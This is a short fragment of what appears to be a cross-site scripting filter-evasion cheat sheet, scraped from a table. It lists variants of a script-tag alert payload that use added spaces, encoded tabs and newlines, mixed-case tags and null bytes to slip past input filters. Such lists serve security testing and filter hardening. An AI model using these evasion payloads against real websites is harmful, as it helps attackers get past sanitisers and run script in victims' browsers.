Basic modifications

ColumnDoing basic things like adding spaces, encoding tabs, newlines and carriege rerurns can do a lot alread
Tags<script>alert(1)</script> <script >alert(1)</script> <script >alert(1)</script> Encoded tabs/newlines/CR <script&#9>alert(1)</script> <script&#10>alert(1)</script> <script&#13>alert(1)</script> Capital letters <ScRipT>alert(1)</sCriPt>Adding nullbytes: <%00script>alert(1)</script> <script>al%00ert(1)</script>